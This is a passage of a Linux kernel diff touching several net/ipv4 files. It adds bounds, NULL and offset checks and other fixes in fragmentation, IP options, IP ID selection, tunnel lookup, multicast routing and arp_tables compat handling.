ip_mc_leave_group(struct sock *sk, struct ip_mreqn *imr) rtnl_lock(); in_dev = ip_mc_find_dev(net, imr); + if (!in_dev) { + ret = -ENODEV; + goto out; + } ifindex = imr->imr_ifindex; for (imlp = &inet->mc_list; (iml = rtnl_dereference(*imlp)) != NULL; @@ -1891,16 +1895,14 @@ int ip_mc_leave_group(struct sock *sk, struct ip_mreqn *imr) *imlp = iml->next_rcu; - if (in_dev) - ip_mc_dec_group(in_dev, group); + ip_mc_dec_group(in_dev, group); rtnl_unlock(); /* decrease mem now to avoid the memleak warning */ atomic_sub(sizeof(*iml), &sk->sk_omem_alloc); kfree_rcu(iml, rcu); return 0; } - if (!in_dev) - ret = -ENODEV; +out: rtnl_unlock(); return ret; } diff --git a/net/ipv4/inet_diag.c b/net/ipv4/inet_diag.c index b7527bfdc6a72..a897652c621dc 100644 --- a/net/ipv4/inet_diag.c +++ b/net/ipv4/inet_diag.c @@ -71,6 +71,20 @@ static inline void inet_diag_unlock_handler( mutex_unlock(&inet_diag_table_mutex); } +static size_t inet_sk_attr_size(void) +{ + return nla_total_size(sizeof(struct tcp_info)) + + nla_total_size(1) /* INET_DIAG_SHUTDOWN */ + + nla_total_size(1) /* INET_DIAG_TOS */ + + nla_total_size(1) /* INET_DIAG_TCLASS */ + + nla_total_size(sizeof(struct inet_diag_meminfo)) + + nla_total_size(sizeof(struct inet_diag_msg)) + + nla_total_size(SK_MEMINFO_VARS * sizeof(u32)) + + nla_total_size(TCP_CA_NAME_MAX) + + nla_total_size(sizeof(struct tcpvegas_info)) + + 64; +} + int inet_sk_diag_fill(struct sock *sk, struct inet_connection_sock *icsk, struct sk_buff *skb, struct inet_diag_req_v2 *req, struct user_namespace *user_ns, @@ -351,9 +365,7 @@ int inet_diag_dump_one_icsk(struct inet_hashinfo *hashinfo, if (IS_ERR(sk)) return PTR_ERR(sk); - rep = nlmsg_new(sizeof(struct inet_diag_msg) + - sizeof(struct inet_diag_meminfo) + - sizeof(struct tcp_info) + 64, GFP_KERNEL); + rep = nlmsg_new(inet_sk_attr_size(), GFP_KERNEL); if (!rep) { err = -ENOMEM; goto out; diff --git a/net/ipv4/inetpeer.c b/net/ipv4/inetpeer.c index 4b779f2906c75..1ea9596be8b34 100644 --- a/net/ipv4/inetpeer.c +++ b/net/ipv4/inetpeer.c @@ -26,20 +26,7 @@ * Theory of operations. * We keep one entry for each peer IP address. The nodes contains long-living * information about the peer which doesn't depend on routes. - * At this moment this information consists only of ID field for the next - * outgoing IP packet. This field is incremented with each packet as encoded - * in inet_getid() function (include/net/inetpeer.h). - * At the moment of writing this notes identifier of IP packets is generated - * to be unpredictable using this code only for packets subjected - * (actually or potentially) to defragmentation. I.e. DF packets less than - * PMTU in size when local fragmentation is disabled use a constant ID and do - * not use this code (see ip_select_ident() in include/net/ip.h). * - * Route cache entries hold references to our nodes. - * New cache entries get references via lookup by destination IP address in - * the avl tree. The reference is grabbed only when it's needed i.e. only - * when we try to output IP packet which needs an unpredictable ID (see - * __ip_select_ident() in net/ipv4/route.c). * Nodes are removed only when reference counter goes to 0. * When it's happened the node may be removed when a sufficient amount of * time has been passed since its last use. The less-recently-used entry can @@ -62,7 +49,6 @@ * refcnt: atomically against modifications on other CPU; * usually under some other lock to prevent node disappearing * daddr: unchangeable - * ip_id_count: atomic value (no lock needed) */ static struct kmem_cache *peer_cachep __read_mostly; @@ -504,10 +490,6 @@ struct inet_peer *inet_getpeer(struct inet_peer_base *base, p->daddr = *daddr; atomic_set(&p->refcnt, 1); atomic_set(&p->rid, 0); - atomic_set(&p->ip_id_count, - (daddr->family == AF_INET) ? - secure_ip_id(daddr->addr.a4) : - secure_ipv6_id(daddr->addr.a6)); p->metrics[RTAX_LOCK-1] = INETPEER_METRICS_NEW; p->rate_tokens = 0; /* 60*HZ is arbitrary, but chosen enough high so that the first diff --git a/net/ipv4/ip_forward.c b/net/ipv4/ip_forward.c index bd1c5baf69bef..479e8a63125af 100644 --- a/net/ipv4/ip_forward.c +++ b/net/ipv4/ip_forward.c @@ -126,6 +126,9 @@ int ip_forward(struct sk_buff *skb) struct rtable *rt; /* Route we use */ struct ip_options *opt = &(IPCB(skb)->opt); + if (unlikely(skb->sk)) + goto drop; + if (skb_warn_if_lro(skb)) goto drop; @@ -175,7 +178,8 @@ int ip_forward(struct sk_buff *skb) * We now generate an ICMP HOST REDIRECT giving the route * we calculated. */ - if (rt->rt_flags&RTCF_DOREDIRECT && !opt->srr && !skb_sec_path(skb)) + if (IPCB(skb)->flags & IPSKB_DOREDIRECT && !opt->srr && + !skb_sec_path(skb)) ip_rt_send_redirect(skb); skb->priority = rt_tos2priority(iph->tos); diff --git a/net/ipv4/ip_fragment.c b/net/ipv4/ip_fragment.c index b66910aaef4d6..4d98a6b80b043 100644 --- a/net/ipv4/ip_fragment.c +++ b/net/ipv4/ip_fragment.c @@ -356,7 +356,7 @@ static int ip_frag_queue(struct ipq *qp, struct sk_buff *skb) ihl = ip_hdrlen(skb); /* Determine the position of this fragment. */ - end = offset + skb->len - ihl; + end = offset + skb->len - skb_network_offset(skb) - ihl; err = -EINVAL; /* Is this the final fragment? */ @@ -386,7 +386,7 @@ static int ip_frag_queue(struct ipq *qp, struct sk_buff *skb) goto err; err = -ENOMEM; - if (pskb_pull(skb, ihl) == NULL) + if (!pskb_pull(skb, skb_network_offset(skb) + ihl)) goto err; err = pskb_trim_rcsum(skb, end - offset); @@ -627,6 +627,9 @@ static int ip_frag_reasm(struct ipq *qp, struct sk_buff *prev, iph->frag_off = qp->q.max_size ? htons(IP_DF) : 0; iph->tot_len = htons(len); iph->tos |= ecn; + + ip_send_check(iph); + IP_INC_STATS_BH(net, IPSTATS_MIB_REASMOKS); qp->q.fragments = NULL; qp->q.fragments_tail = NULL; @@ -678,27 +681,30 @@ EXPORT_SYMBOL(ip_defrag); struct sk_buff *ip_check_defrag(struct sk_buff *skb, u32 user) { struct iphdr iph; + int netoff; u32 len; if (skb->protocol != htons(ETH_P_IP)) return skb; - if (!skb_copy_bits(skb, 0, &iph, sizeof(iph))) + netoff = skb_network_offset(skb); + + if (skb_copy_bits(skb, netoff, &iph, sizeof(iph)) < 0) return skb; if (iph.ihl < 5 || iph.version != 4) return skb; len = ntohs(iph.tot_len); - if (skb->len < len || len < (iph.ihl * 4)) + if (skb->len < netoff + len || len < (iph.ihl * 4)) return skb; if (ip_is_fragment(&iph)) { skb = skb_share_check(skb, GFP_ATOMIC); if (skb) { - if (!pskb_may_pull(skb, iph.ihl*4)) + if (!pskb_may_pull(skb, netoff + iph.ihl * 4)) return skb; - if (pskb_trim_rcsum(skb, len)) + if (pskb_trim_rcsum(skb, netoff + len)) return skb; memset(IPCB(skb), 0, sizeof(struct inet_skb_parm)); if (ip_defrag(skb, user)) diff --git a/net/ipv4/ip_options.c b/net/ipv4/ip_options.c index ec7264514a82e..089ed81d18785 100644 --- a/net/ipv4/ip_options.c +++ b/net/ipv4/ip_options.c @@ -288,6 +288,10 @@ int ip_options_compile(struct net *net, optptr++; continue; } + if (unlikely(l < 2)) { + pp_ptr = optptr; + goto error; + } optlen = optptr[1]; if (optlen<2 || optlen>l) { pp_ptr = optptr; diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c index 91e3b15c28ceb..47d236156f0f0 100644 --- a/net/ipv4/ip_output.c +++ b/net/ipv4/ip_output.c @@ -148,7 +148,7 @@ int ip_build_and_send_pkt(struct sk_buff *skb, struct sock *sk, iph->daddr = (opt && opt->opt.srr ? opt->opt.faddr : daddr); iph->saddr = saddr; iph->protocol = sk->sk_protocol; - ip_select_ident(skb, &rt->dst, sk); + ip_select_ident(skb, sk); if (opt && opt->opt.optlen) { iph->ihl += opt->opt.optlen>>2; @@ -394,8 +394,7 @@ int ip_queue_xmit(struct sk_buff *skb, struct flowi *fl) ip_options_build(skb, &inet_opt->opt, inet->inet_daddr, rt, 0); } - ip_select_ident_more(skb, &rt->dst, sk, - (skb_shinfo(skb)->gso_segs ?: 1) - 1); + ip_select_ident_segs(skb, sk, skb_shinfo(skb)->gso_segs ?: 1); skb->priority = sk->sk_priority; skb->mark = sk->sk_mark; @@ -846,7 +845,8 @@ static int __ip_append_data(struct sock *sk, cork->length += length; if (((length > mtu) || (skb && skb_has_frags(skb))) && (sk->sk_protocol == IPPROTO_UDP) && - (rt->dst.dev->features & NETIF_F_UFO) && !rt->dst.header_len) { + (rt->dst.dev->features & NETIF_F_UFO) && !rt->dst.header_len && + (sk->sk_type == SOCK_DGRAM)) { err = ip_ufo_append_data(sk, queue, getfrag, from, length, hh_len, fragheaderlen, transhdrlen, maxfraglen, flags); @@ -1332,7 +1332,7 @@ struct sk_buff *__ip_make_skb(struct sock *sk, iph->ttl = ttl; iph->protocol = sk->sk_protocol; ip_copy_addrs(iph, fl4); - ip_select_ident(skb, &rt->dst, sk); + ip_select_ident(skb, sk); if (opt) { iph->ihl += opt->optlen>>2; @@ -1455,23 +1455,8 @@ static int ip_reply_glue_bits(void *dptr, char *to, int offset, /* * Generic function to send a packet as reply to another packet. * Used to send some TCP resets/acks so far. - * - * Use a fake percpu inet socket to avoid false sharing and contention. */ -static DEFINE_PER_CPU(struct inet_sock, unicast_sock) = { - .sk = { - .__sk_common = { - .skc_refcnt = ATOMIC_INIT(1), - }, - .sk_wmem_alloc = ATOMIC_INIT(1), - .sk_allocation = GFP_ATOMIC, - .sk_flags = (1UL << SOCK_USE_WRITE_QUEUE), - }, - .pmtudisc = IP_PMTUDISC_WANT, - .uc_ttl = -1, -}; - -void ip_send_unicast_reply(struct net *net, struct sk_buff *skb, __be32 daddr, +void ip_send_unicast_reply(struct sock *sk, struct sk_buff *skb, __be32 daddr, __be32 saddr, const struct ip_reply_arg *arg, unsigned int len) { @@ -1479,9 +1464,9 @@ void ip_send_unicast_reply(struct net *net, struct sk_buff *skb, __be32 daddr, struct ipcm_cookie ipc; struct flowi4 fl4; struct rtable *rt = skb_rtable(skb); + struct net *net = sock_net(sk); struct sk_buff *nskb; - struct sock *sk; - struct inet_sock *inet; + int err; if (ip_options_echo(&replyopts.opt.opt, skb)) return; @@ -1510,18 +1495,19 @@ void ip_send_unicast_reply(struct net *net, struct sk_buff *skb, __be32 daddr, if (IS_ERR(rt)) return; - inet = &get_cpu_var(unicast_sock); + inet_sk(sk)->tos = arg->tos; - inet->tos = arg->tos; - sk = &inet->sk; sk->sk_priority = skb->priority; sk->sk_protocol = ip_hdr(skb)->protocol; sk->sk_bound_dev_if = arg->bound_dev_if; - sock_net_set(sk, net); - __skb_queue_head_init(&sk->sk_write_queue); sk->sk_sndbuf = sysctl_wmem_default; - ip_append_data(sk, &fl4, ip_reply_glue_bits, arg->iov->iov_base, len, 0, - &ipc, &rt, MSG_DONTWAIT); + err = ip_append_data(sk, &fl4, ip_reply_glue_bits, arg->iov->iov_base, + len, 0, &ipc, &rt, MSG_DONTWAIT); + if (unlikely(err)) { + ip_flush_pending_frames(sk); + goto out; + } + nskb = skb_peek(&sk->sk_write_queue); if (nskb) { if (arg->csumoffset >= 0) @@ -1529,13 +1515,10 @@ void ip_send_unicast_reply(struct net *net, struct sk_buff *skb, __be32 daddr, arg->csumoffset) = csum_fold(csum_add(nskb->csum, arg->csum)); nskb->ip_summed = CHECKSUM_NONE; - skb_orphan(nskb); skb_set_queue_mapping(nskb, skb_get_queue_mapping(skb)); ip_push_pending_frames(sk, &fl4); } - - put_cpu_var(unicast_sock); - +out: ip_rt_put(rt); } diff --git a/net/ipv4/ip_sockglue.c b/net/ipv4/ip_sockglue.c index 23e6ab0a2dc0e..f6603142cb33c 100644 --- a/net/ipv4/ip_sockglue.c +++ b/net/ipv4/ip_sockglue.c @@ -410,15 +410,11 @@ int ip_recv_error(struct sock *sk, struct msghdr *msg, int len, int *addr_len) memcpy(&errhdr.ee, &serr->ee, sizeof(struct sock_extended_err)); sin = &errhdr.offender; - sin->sin_family = AF_UNSPEC; + memset(sin, 0, sizeof(*sin)); if (serr->ee.ee_origin == SO_EE_ORIGIN_ICMP) { - struct inet_sock *inet = inet_sk(sk); - sin->sin_family = AF_INET; sin->sin_addr.s_addr = ip_hdr(skb)->saddr; - sin->sin_port = 0; - memset(&sin->sin_zero, 0, sizeof(sin->sin_zero)); - if (inet->cmsg_flags) + if (inet_sk(sk)->cmsg_flags) ip_cmsg_recv(msg, skb); } diff --git a/net/ipv4/ip_tunnel.c b/net/ipv4/ip_tunnel.c index fa6573264c8a3..84aa69caee594 100644 --- a/net/ipv4/ip_tunnel.c +++ b/net/ipv4/ip_tunnel.c @@ -166,6 +166,7 @@ struct ip_tunnel *ip_tunnel_lookup(struct ip_tunnel_net *itn, hlist_for_each_entry_rcu(t, head, hash_node) { if (remote != t->parms.iph.daddr || + t->parms.iph.saddr != 0 || !(t->dev->flags & IFF_UP)) continue; @@ -182,10 +183,11 @@ struct ip_tunnel *ip_tunnel_lookup(struct ip_tunnel_net *itn, head = &itn->tunnels[hash]; hlist_for_each_entry_rcu(t, head, hash_node) { - if ((local != t->parms.iph.saddr && - (local != t->parms.iph.daddr || - !ipv4_is_multicast(local))) || - !(t->dev->flags & IFF_UP)) + if ((local != t->parms.iph.saddr || t->parms.iph.daddr != 0) && + (local != t->parms.iph.daddr || !ipv4_is_multicast(local))) + continue; + + if (!(t->dev->flags & IFF_UP)) continue; if (!ip_tunnel_key_match(&t->parms, flags, key)) @@ -202,6 +204,8 @@ struct ip_tunnel *ip_tunnel_lookup(struct ip_tunnel_net *itn, hlist_for_each_entry_rcu(t, head, hash_node) { if (t->parms.i_key != key || + t->parms.iph.saddr != 0 || + t->parms.iph.daddr != 0 || !(t->dev->flags & IFF_UP)) continue; @@ -687,7 +691,7 @@ void ip_tunnel_xmit(struct sk_buff *skb, struct net_device *dev, iph->daddr = fl4.daddr; iph->saddr = fl4.saddr; iph->ttl = ttl; - __ip_select_ident(iph, &rt->dst, (skb_shinfo(skb)->gso_segs ?: 1) - 1); + __ip_select_ident(iph, skb_shinfo(skb)->gso_segs ?: 1); iptunnel_xmit(skb, dev); return; diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c index c5b2c0084dc7d..7562dcb424ad8 100644 --- a/net/ipv4/ipmr.c +++ b/net/ipv4/ipmr.c @@ -136,7 +136,7 @@ static int __ipmr_fill_mroute(struct mr_table *mrt, struct sk_buff *skb, struct mfc_cache *c, struct rtmsg *rtm); static void mroute_netlink_event(struct mr_table *mrt, struct mfc_cache *mfc, int cmd); -static void mroute_clean_tables(struct mr_table *mrt); +static void mroute_clean_tables(struct mr_table *mrt, bool all); static void ipmr_expire_process(unsigned long arg); #ifdef CONFIG_IP_MROUTE_MULTIPLE_TABLES @@ -348,7 +348,7 @@ static struct mr_table *ipmr_new_table(struct net *net, u32 id) static void ipmr_free_table(struct mr_table *mrt) { del_timer_sync(&mrt->ipmr_expire_timer); - mroute_clean_tables(mrt); + mroute_clean_tables(mrt, true); kfree(mrt); } @@ -881,8 +881,10 @@ static struct mfc_cache *ipmr_cache_alloc(void) { struct mfc_cache *c = kmem_cache_zalloc(mrt_cachep, GFP_KERNEL); - if (c) + if (c) { + c->mfc_un.res.last_assert = jiffies - MFC_ASSERT_THRESH - 1; c->mfc_un.res.minvif = MAXVIFS; + } return c; } @@ -1199,7 +1201,7 @@ static int ipmr_mfc_add(struct net *net, struct mr_table *mrt, * Close the multicast socket, and clear the vif tables etc */ -static void mroute_clean_tables(struct mr_table *mrt) +static void mroute_clean_tables(struct mr_table *mrt, bool all) { int i; LIST_HEAD(list); @@ -1208,8 +1210,9 @@ static void mroute_clean_tables(struct mr_table *mrt) /* Shut down all active vif entries */ for (i = 0; i < mrt->maxvif; i++) { - if (!(mrt->vif_table[i].flags & VIFF_STATIC)) - vif_delete(mrt, i, 0, &list); + if (!all && (mrt->vif_table[i].flags & VIFF_STATIC)) + continue; + vif_delete(mrt, i, 0, &list); } unregister_netdevice_many(&list); @@ -1217,7 +1220,7 @@ static void mroute_clean_tables(struct mr_table *mrt) for (i = 0; i < MFC_LINES; i++) { list_for_each_entry_safe(c, next, &mrt->mfc_cache_array[i], list) { - if (c->mfc_flags & MFC_STATIC) + if (!all && (c->mfc_flags & MFC_STATIC)) continue; list_del_rcu(&c->list); mroute_netlink_event(mrt, c, RTM_DELROUTE); @@ -1252,7 +1255,7 @@ static void mrtsock_destruct(struct sock *sk) NETCONFA_IFINDEX_ALL, net->ipv4.devconf_all); RCU_INIT_POINTER(mrt->mroute_sk, NULL); - mroute_clean_tables(mrt); + mroute_clean_tables(mrt, false); } } rtnl_unlock(); @@ -1661,7 +1664,7 @@ static void ip_encap(struct sk_buff *skb, __be32 saddr, __be32 daddr) iph->protocol = IPPROTO_IPIP; iph->ihl = 5; iph->tot_len = htons(skb->len); - ip_select_ident(skb, skb_dst(skb), NULL); + ip_select_ident(skb, NULL); ip_send_check(iph); memset(&(IPCB(skb)->opt), 0, sizeof(IPCB(skb)->opt)); @@ -1672,8 +1675,8 @@ static inline int ipmr_forward_finish(struct sk_buff *skb) { struct ip_options *opt = &(IPCB(skb)->opt); - IP_INC_STATS_BH(dev_net(skb_dst(skb)->dev), IPSTATS_MIB_OUTFORWDATAGRAMS); - IP_ADD_STATS_BH(dev_net(skb_dst(skb)->dev), IPSTATS_MIB_OUTOCTETS, skb->len); + IP_INC_STATS(dev_net(skb_dst(skb)->dev), IPSTATS_MIB_OUTFORWDATAGRAMS); + IP_ADD_STATS(dev_net(skb_dst(skb)->dev), IPSTATS_MIB_OUTOCTETS, skb->len); if (unlikely(opt->optlen)) ip_forward_options(skb); @@ -1735,7 +1738,7 @@ static void ipmr_queue_xmit(struct net *net, struct mr_table *mrt, * to blackhole. */ - IP_INC_STATS_BH(dev_net(dev), IPSTATS_MIB_FRAGFAILS); + IP_INC_STATS(dev_net(dev), IPSTATS_MIB_FRAGFAILS); ip_rt_put(rt); goto out_free; } diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c index 738e62d548ce7..76d40302ce35d 100644 --- a/net/ipv4/netfilter/arp_tables.c +++ b/net/ipv4/netfilter/arp_tables.c @@ -435,6 +435,8 @@ static int mark_source_chains(const struct xt_table_info *newinfo, size = e->next_offset; e = (struct arpt_entry *) (entry0 + pos + size); + if (pos + size >= newinfo->size) + return 0; e->counters.pcnt = pos; pos += size; } else { @@ -457,6 +459,8 @@ static int mark_source_chains(const struct xt_table_info *newinfo, } else { /* ... this is a fallthru */ newpos = pos + e->next_offset; + if (newpos >= newinfo->size) + return 0; } e = (struct arpt_entry *) (entry0 + newpos); @@ -470,23 +474,6 @@ static int mark_source_chains(const struct xt_table_info *newinfo, return 1; } -static inline int check_entry(const struct arpt_entry *e) -{ - const struct xt_entry_target *t; - - if (!arp_checkentry(&e->arp)) - return -EINVAL; - - if (e->target_offset + sizeof(struct xt_entry_target) > e->next_offset) - return -EINVAL; - - t = arpt_get_target_c(e); - if (e->target_offset + t->u.target_size > e->next_offset) - return -EINVAL; - - return 0; -} - static inline int check_target(struct arpt_entry *e, const char *name) { struct xt_entry_target *t = arpt_get_target(e); @@ -576,7 +563,11 @@ static inline int check_entry_size_and_hooks(struct arpt_entry *e, return -EINVAL; } - err = check_entry(e); + if (!arp_checkentry(&e->arp)) + return -EINVAL; + + err = xt_check_entry_offsets(e, e->elems, e->target_offset, + e->next_offset); if (err) return err; @@ -680,10 +671,8 @@ static int translate_table(struct xt_table_info *newinfo, void *entry0, } } - if (!mark_source_chains(newinfo, repl->valid_hooks, entry0)) { - duprintf("Looping hook\n"); + if (!mark_source_chains(newinfo, repl->valid_hooks, entry0)) return -ELOOP; - } /* Finally, each sanity check must pass */ i = 0; @@ -1076,6 +1065,9 @@ static int do_replace(struct net *net, const void __user *user, /* overflow check */ if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters)) return -ENOMEM; + if (tmp.num_counters == 0) + return -EINVAL; + tmp.name[sizeof(tmp.name)-1] = 0; newinfo = xt_alloc_table_info(tmp.size); @@ -1116,56 +1108,18 @@ static int do_add_counters(struct net *net, const void __user *user, unsigned int i, curcpu; struct xt_counters_info tmp; struct xt_counters *paddc; - unsigned int num_counters; - const char *name; - int size; - void *ptmp; struct xt_table *t; const struct xt_table_info *private; int ret = 0; void *loc_cpu_entry; struct arpt_entry *iter; unsigned int addend; -#ifdef CONFIG_COMPAT - struct compat_xt_counters_info compat_tmp; - - if (compat) { - ptmp = &compat_tmp; - size = sizeof(struct compat_xt_counters_info); - } else -#endif - { - ptmp = &tmp; - size = sizeof(struct xt_counters_info); - } - - if (copy_from_user(ptmp, user, size) != 0) - return -EFAULT; - -#ifdef CONFIG_COMPAT - if (compat) { - num_counters = compat_tmp.num_counters; - name = compat_tmp.name; - } else -#endif - { - num_counters = tmp.num_counters; - name = tmp.name; - } - if (len != size + num_counters * sizeof(struct xt_counters)) - return -EINVAL; + paddc = xt_copy_counters_from_user(user, len, &tmp, compat); + if (IS_ERR(paddc)) + return PTR_ERR(paddc); - paddc = vmalloc(len - size); - if (!paddc) - return -ENOMEM; - - if (copy_from_user(paddc, user + size, len - size) != 0) { - ret = -EFAULT; - goto free; - } - - t = xt_find_table_lock(net, NFPROTO_ARP, name); + t = xt_find_table_lock(net, NFPROTO_ARP, tmp.name); if (IS_ERR_OR_NULL(t)) { ret = t ? PTR_ERR(t) : -ENOENT; goto free; @@ -1173,7 +1127,7 @@ static int do_add_counters(struct net *net, const void __user *user, local_bh_disable(); private = t->private; - if (private->number != num_counters) { + if (private->number != tmp.num_counters) { ret = -EINVAL; goto unlock_up_free; } @@ -1199,6 +1153,18 @@ static int do_add_counters(struct net *net, const void __user *user, } #ifdef CONFIG_COMPAT +struct compat_arpt_replace { + char name[XT_TABLE_MAXNAMELEN]; + u32 valid_hooks; + u32 num_entries; + u32 size; + u32 hook_entry[NF_ARP_NUMHOOKS]; + u32 underflow[NF_ARP_NUMHOOKS]; + u32 num_counters; + compat_uptr_t counters; + struct compat_arpt_entry entries[0]; +}; + static inline void compat_release_entry(struct compat_arpt_entry *e) { struct xt_entry_target *t; @@ -1207,20 +1173,17 @@ static inline void compat_release_entry(struct compat_arpt_entry *e) module_put(t->u.kernel.target->me); } -static inline int +static int check_compat_entry_size_and_hooks(struct compat_arpt_entry *e, struct xt_table_info *newinfo, unsigned int *size, const unsigned char *base, - const unsigned char *limit, - const unsigned int *hook_entries, - const unsigned int *underflows, - const char *name) + const unsigned char *limit) { struct xt_entry_target *t; struct xt_target *target; unsigned int entry_offset; - int ret, off, h; + int ret, off; duprintf("check_compat_entry_size_and_hooks %p\n", e); if ((unsigned long)e % __alignof__(struct compat_arpt_entry) != 0 || @@ -1237,8 +1200,11 @@ check_compat_entry_size_and_hooks(struct compat_arpt_entry *e, return -EINVAL; } - /* For purposes of check_entry casting the compat entry is fine */ - ret = check_entry((struct arpt_entry *)e); + if (!arp_checkentry(&e->arp)) + return -EINVAL; + + ret = xt_compat_check_entry_offsets(e, e->elems, e->target_offset, + e->next_offset); if (ret) return ret; @@ -1262,17 +1228,6 @@ check_compat_entry_size_and_hooks(struct compat_arpt_entry *e, if (ret) goto release_target; - /* Check hooks & underflows */ - for (h = 0; h < NF_ARP_NUMHOOKS; h++) { - if ((unsigned char *)e - base == hook_entries[h]) - newinfo->hook_entry[h] = hook_entries[h]; - if ((unsigned char *)e - base == underflows[h]) - newinfo->underflow[h] = underflows[h]; - } - - /* Clear counters and comefrom */ - memset(&e->counters, 0, sizeof(e->counters)); - e->comefrom = 0; return 0; release_target: @@ -1281,18 +1236,17 @@ check_compat_entry_size_and_hooks(struct compat_arpt_entry *e, return ret; } -static int +static void compat_copy_entry_from_user(struct compat_arpt_entry *e, void **dstptr, - unsigned int *size, const char *name, + unsigned int *size, struct xt_table_info *newinfo, unsigned char *base) { struct xt_entry_target *t; struct xt_target *target; struct arpt_entry *de; unsigned int origsize; - int ret, h; + int h; - ret = 0; origsize = *size; de = (struct arpt_entry *)*dstptr; memcpy(de, e, sizeof(struct arpt_entry)); @@ -1313,144 +1267,81 @@ compat_copy_entry_from_user(struct compat_arpt_entry *e, void **dstptr, if ((unsigned char *)de - base < newinfo->underflow[h]) newinfo->underflow[h] -= origsize - *size; } - return ret; } -static int translate_compat_table(const char *name, - unsigned int valid_hooks, - struct xt_table_info **pinfo, +static int translate_compat_table(struct xt_table_info **pinfo, void **pentry0, - unsigned int total_size, - unsigned int number, - unsigned int *hook_entries, - unsigned int *underflows) + const struct compat_arpt_replace *compatr) { unsigned int i, j; struct xt_table_info *newinfo, *info; void *pos, *entry0, *entry1; struct compat_arpt_entry *iter0; - struct arpt_entry *iter1; + struct arpt_replace repl; unsigned int size; int ret = 0; info = *pinfo; entry0 = *pentry0; - size = total_size; - info->number = number; - - /* Init all hooks to impossible value. */ - for (i = 0; i < NF_ARP_NUMHOOKS; i++) { - info->hook_entry[i] = 0xFFFFFFFF; - info->underflow[i] = 0xFFFFFFFF; - } + size = compatr->size; + info->number = compatr->num_entries; duprintf("translate_compat_table: size %u\n", info->size); j = 0; xt_compat_lock(NFPROTO_ARP); - xt_compat_init_offsets(NFPROTO_ARP, number); + xt_compat_init_offsets(NFPROTO_ARP, compatr->num_entries); /* Walk through entries, checking offsets. */ - xt_entry_foreach(iter0, entry0, total_size) { + xt_entry_foreach(iter0, entry0, compatr->size) { ret = check_compat_entry_size_and_hooks(iter0, info, &size, entry0, - entry0 + total_size, - hook_entries, - underflows, - name); + entry0 + compatr->size); if (ret != 0) goto out_unlock; ++j; } ret = -EINVAL; - if (j != number) { + if (j != compatr->num_entries) { duprintf("translate_compat_table: %u not %u entries\n", - j, number); + j, compatr->num_entries); goto out_unlock; } - /* Check hooks all assigned */ - for (i = 0; i < NF_ARP_NUMHOOKS; i++) { - /* Only hooks which are valid */ - if (!(valid_hooks & (1 << i))) - continue; - if (info->hook_entry[i] == 0xFFFFFFFF) { - duprintf("Invalid hook entry %u %u\n", - i, hook_entries[i]); - goto out_unlock; - } - if (info->underflow[i] == 0xFFFFFFFF) { - duprintf("Invalid underflow %u %u\n", - i, underflows[i]); - goto out_unlock; - } - } - ret = -ENOMEM; newinfo = xt_alloc_table_info(size); if (!newinfo) goto out_unlock; - newinfo->number = number; + newinfo->number = compatr->num_entries; for (i = 0; i < NF_ARP_NUMHOOKS; i++) { newinfo->hook_entry[i] = info->hook_entry[i]; newinfo->underflow[i] = info->underflow[i]; } entry1 = newinfo->entries[raw_smp_processor_id()]; pos = entry1; - size = total_size; - xt_entry_foreach(iter0, entry0, total_size) { - ret = compat_copy_entry_from_user(iter0, &pos, &size, - name, newinfo, entry1); - if (ret != 0) - break; - } + size = compatr->size; + xt_entry_foreach(iter0, entry0, compatr->size) + compat_copy_entry_from_user(iter0, &pos, &size, + newinfo, entry1); + + /* all module references in entry0 are now gone */ + xt_compat_flush_offsets(NFPROTO_ARP); xt_compat_unlock(NFPROTO_ARP); - if (ret) - goto free_newinfo; - ret = -ELOOP; - if (!mark_source_chains(newinfo, valid_hooks, entry1)) - goto free_newinfo; + memcpy(&repl, compatr, sizeof(*compatr)); - i = 0; - xt_entry_foreach(iter1, entry1, newinfo->size) { - ret = check_target(iter1, name); - if (ret != 0) - break; - ++i; - if (strcmp(arpt_get_target(iter1)->u.user.name, - XT_ERROR_TARGET) == 0) - ++newinfo->stacksize; - } - if (ret) { - /* - * The first i matches need cleanup_entry (calls ->destroy) - * because they had called ->check already. The other j-i - * entries need only release. - */ - int skip = i; - j -= i; - xt_entry_foreach(iter0, entry0, newinfo->size) { - if (skip-- > 0) - continue; - if (j-- == 0) - break; - compat_release_entry(iter0); - } - xt_entry_foreach(iter1, entry1, newinfo->size) { - if (i-- == 0) - break; - cleanup_entry(iter1); - } - xt_free_table_info(newinfo); - return ret; + for (i = 0; i < NF_ARP_NUMHOOKS; i++) { + repl.hook_entry[i] = newinfo->hook_entry[i]; + repl.underflow[i] = newinfo->underflow[i]; } - /* And one copy for every other CPU */ - for_each_possible_cpu(i) - if (newinfo->entries[i] && newinfo->entries[i] != entry1) - memcpy(newinfo->entries[i], entry1, newinfo->size); + repl.num_counters = 0; + repl.counters = NULL; + repl.size = newinfo->size; + ret = translate_table(newinfo, entry1, &repl); + if (ret) + goto free_newinfo; *pinfo = newinfo; *pentry0 = entry1; @@ -1459,31 +1350,18 @@ static int translate_compat_table(const char *name, free_newinfo: xt_free_table_info(newinfo); -out: - xt_entry_foreach(iter0, entry0, total_size) { + return ret; +out_unlock: + xt_compat_flush_offsets(NFPROTO_ARP); + xt_compat_unlock(NFPROTO_ARP); + xt_entry_foreach(iter0, entry0, compatr->size) { if (j-- == 0) break; compat_release_entry(iter0); } return ret; -out_unlock: - xt_compat_flush_offsets(NFPROTO_ARP); - xt_compat_unlock(NFPROTO_ARP); - goto out; } -struct compat_arpt_replace { - char name[XT_TABLE_MAXNAMELEN]; - u32 valid_hooks; - u32 num_entries; - u32 size; - u32 hook_entry[NF_ARP_NUMHOOKS]; - u32 underflow[NF_ARP_NUMHOOKS]; - u32 num_counters; - compat_uptr_t counters; - struct compat_arpt_entry entries[0]; -}; - static int compat_do_replace(struct net *net, void __user *user, unsigned int len) { @@ -1501,6 +1379,9 @@ static int compat_do_replace(struct net *net, void __user *user, return -ENOMEM; if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters)) return -ENOMEM; + if (tmp.num_counters == 0) + return -EINVAL; + tmp.name[sizeof(tmp.name)-1] = 0; newinfo = xt_alloc_table_info(tmp.size); @@ -1514,10 +1395,7 @@ static int compat_do_replace(struct net *net, void __user *user, goto free_newinfo; } - ret = translate_compat_table(tmp.name, tmp.valid_hooks, - &newinfo, &loc_cpu_entry, tmp.size, - tmp.num_entries, tmp.hook_entry, - 